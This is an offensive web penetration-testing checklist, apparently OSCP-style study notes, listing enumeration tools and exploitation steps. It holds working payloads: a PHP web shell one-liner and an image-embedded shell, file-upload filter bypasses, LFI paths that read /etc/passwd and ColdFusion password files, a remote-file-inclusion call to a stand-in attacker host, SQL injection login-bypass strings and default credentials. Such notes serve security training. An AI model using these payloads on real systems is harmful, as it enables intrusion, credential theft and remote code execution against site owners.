

Website Attack Checklist:

Beginner Level

April 2020

Enumeration

- Check it out with web browser
- What does it display?
- Read entire pages
 - look for emails, names, user info - Enum the interface, what version of CMS, server installation page etc. - What is the potential vulnerability in it?
 - LFI, RFI, Directory traversal, SQL Injection, XML External Entities, OS Command Injection, Upload vulnerability
- Default web server page reveals version information?
- Use Web Application Scanner (Refer note)
 - Example, nikto
 - `nikto -h 10.10.10.10 -output filename`
- Google for exploit
 - Rapid7
 - SearchSploit
- If https:
 - scan for *heartbleed* vulnerability
 - `ssllscan 192.168.101.1:443`
 - `nmap -sV --script=ssl-heartbleed 192.168.3.157`
 - Read the certificate
 - Does it include names that might be useful? - Correct vhost
- View the webpage source code
 - Hidden Values
 - Developer Remarks
 - Extraneous Code
 - Passwords!
- Use curl
 - `curl <ip address / dns>`
- View robots.txt
- Brute forcing HTTP(s) directories and files
- Tools
 - dirb
 - dirbuster
 - nikto
 - wfuzz
 - gobuster for quick directory search
- Brute force directory recursively

- If you found a directory example /admin, bruteforce more deeply
 - `dirb http://10.10.10.1/admin/`
- Looking for .git
- Set extension
 - sh,txt,php,html,htm,asp,aspx,js,xml,log,json,jpg,jpeg,png,gif,doc,pdf,mpg,m
p3,zip,tar.gz,tar
- Bruteforce subdomain
 - xxx.google.com
- Creating wordlist from webpage
 - cewl
- Redirecting webpage automatically?
 - noredirect plugin
- If it's a login page
 - Try view source code
 - Use default password
 - Brute force directory first (sometime you don't need to login to pwn the machine)
 - using curl
 - bruteforce credential
 - Burpsuite
 - sniper. clusterbomb
 - Wfuzz
 - `wfuzz -w pass.txt -L 20 -d "username=FUZZ&password=FUZZ" -hw 1224 http://login page path`
 - Search credential in other service port
 - tftp
 - ftp
 - Enumeration for the credential
 - Search credential by bruteforce directory
 - Register first
 - SQL injection
 - SQLMap
 - XSS can be used to get the admin cookie
 - Bruteforce session cookie
- If it's a CMS
 - Google the CMS vulnerabilities
 - Wordpress, Drupal, Joomla. Vtiger, etc.
 - Go to admin page
 - Joomla
 - /administrator
 - Wordpress
 - /wp-admin
 - /wp-login

- Wordpress
 - `wpscan -u 192.168.3.145 --enumerate -t --enumerate u --enumerate p`
 - Bruteforce login page
 - `wpscan -u ipaddress --username name --wordlist pathtolist`
 - Random agent
 - `wpscan -u http://cybear32c.lab/ --random-agent`
 - Zoom.py
 - enumerate wordpress users
- Drupal
 - `droopescan https://github.com/droope/droopescan`
 - `/CHANGELOG.txt` to find version
- Adobe Cold Fusion
 - Metasploit - Determine version
 - `/CFIDE/adminapi/base.cfc?wsdl`
 - Version 8 Vulnerabilit
 - Fckeditor
 - use exploit/windows/http/coldfusion_fckeditor
 - LFI
 - `http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
- Elastix
 - Google the vulnerabilities
 - default login are admin:admin at [/vtigercrm/](#)
 - able to upload shell in profile-photo
 - Examine configuration files - Generic
 - Examine `httpd.conf/` windows config files
- JBoss
 - JMX Console `http://IP:8080/jmxconsole/`
 - War File
- Joomla
 - `configuration.php`
 - `diagnostics.php`
 - `joomla.inc.php`
 - `config.inc.php`
- Mambo
 - `configuration.php`
 - `config.inc.php`
- Wordpress
 - `setup-config.php`
 - `wp-config.php`
- ZyXel
 - `/WAN.html` (contains PPPoE ISP password)
 - `/WLAN_General.html` and `/WLAN.html` (contains WEP key)

- /rpDyDNS.html (contains DDNS credentials)
 - /Firewall_DefPolicy.html (Firewall)
 - /CF_Keyword.html (Content Filter)
 - /RemMagWWW.html (Remote MGMT)
 - /rpSysAdmin.html (System)
 - /LAN_IP.html (LAN)
 - /NAT_General.html (NAT)
 - /ViewLog.html (Logs)
 - /rpFWUpload.html (Tools)
 - /DiagGeneral.html (Diagnostic)
 - /RemMagSNMP.html (SNMP Passwords)
 - /LAN_ClientList.html (Current DHCP Leases)
 - Config Backups
 - /RestoreCfg.html
 - /BackupCfg.html
- Upload page
 - Upload shell to make reverse shell
 - Bypass file upload filtering
 - Rename it
 - upload it as shell.php.jpg
 - Blacklisting bypass, change extension
 - php phtml, .php, .php3, .php4, .php5, and .inc
 - bypassed by uploading an unpopular php extensions. such as: pht, phpt, phtml, php3, php4, php5, php6
 - asp asp, .aspx
 - perl .pl, .pm, .cgi, .lib
 - jsp .jsp, .jspx, .jsw, .jsv, and .jspf
 - Coldfusion .cfm, .cfml, .cfc, .dbm
- Whitelisting bypass
 - passed by uploading a file with some type of tricks,
 - Like adding a null byte injection like (shell.php%00.gif).
 - Or by using double extensions for the uploaded file like (shell.jpg.php)
 - GIF89a;
 - If they check the content. Basically you just add the text "GIF89a;" before you shell-code.


```
<? system($_GET['cmd']);//or you can insert your complete shellcode ?>
```
 - In image
 - manipulate data
 - exiftool -Comment='<?php echo "<pre>"; system(\$_GET['cmd']); ?>' lo.jpg
 - rename it
 - mv lo.jpg lo.php.jpg
- Phpmyadmin
 - Default password root:pma

- Webmin
 - Have vulnerabilities, google.
- Identify WAF using `wafw00f`
- Spidering a given URL, up to a specified depth, and returns a list of words which can then be used for password crackers
- WMAP Web Scanner
 - web application vulnerability scanner

Exploitation

- Heartbleed exploit

```
use auxiliary/scanner/ssl/openssl_heartbleed

set RHOSTS 192.168.3.212

set verbose true

run
```

- XXS
 - Session hijacking / Cookie theft. Steal cookie to get admin privilege
 - use xsser tool
- Local File Inclusion
 - Bypassing php-execution
 - `http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index`
 - Bypassing the added .php and other extra file-endings
 - `http://example.com/page=../../../../../../../../etc/passwd%00`
 - `http://example.com/page=../../../../../../../../etc/passwd?`
 - folder that always exist
 - `/etc/hosts /etc/resolv.conf`
 - add %00jpg to end of files
 - `/etc/passwd%00jpg`
 - Refer this for more information
 - https://sushant747.gitbooks.io/total-oscp-guide/local_file_inclusion.html
 - <https://highon.coffee/blog/lfi-cheat-sheet/>
- Remote file inclusion
 - <http://example.com/index.php?page=http://attackerserver.com/evil.txt>
- SQL Injection

- Enum using nmap
 - `nmap -sV --script=http-sql-injection <target>`
- Using jsql
- Using sqlmap with login-page
- Capture the request using burp suite, and save the request in a file.
- `sqlmap -r request.txt`
- Crawl a page to find sql-injections
 - `sqlmap -u http://example.com --crawl=1`
- <http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>
- Login bypass
 - `'or 1=1- -`
 - `' or '1'=1`
 - `' or '1'=1 - -`
 - `'_`
 - `' or '1'='1`
 - `-'`
 - `' '`
 - `'&'`
 - `'^'`
 - `'*'`
 - `' or ''-'`
 - `' or '' '`
 - `' or ''&'`
 - `` or "A"```
 - `` or "*"'`
 - `"_"`
 - `" "`
 - `"&"`
 - `"^"`
 - `"*"`
 - `" or ""-"`
 - `" or "" "`
 - `" or ""&"`
 - `" or ""^"`
 - `" or ""*"`
 - `or true--`
 - `" or true--`
 - `' or true--`
 - `") or true--`
 - `') or true--`
 - `' or 'x'='x`
 - `') or ('x')=('x`
 - `') or (('x'))=(('x`
 - `" or "x"="x`
 - `") or ("x")=("x`
 - `") or (("x"))=(("x`
 - known Username
 - `admin' - -`

- admin') --
 - Using error-bases DB enumeration
 - Add the tick '
 - Enumerate columns
 - Using order by
 - <https://sushant747.gitbooks.io/total-oscp-guide/sql-injections.html>
- XML External Entity (XXE)
- URL vulnerability
- OS command Injection
- Directory traversal
- Dotdotpwn tool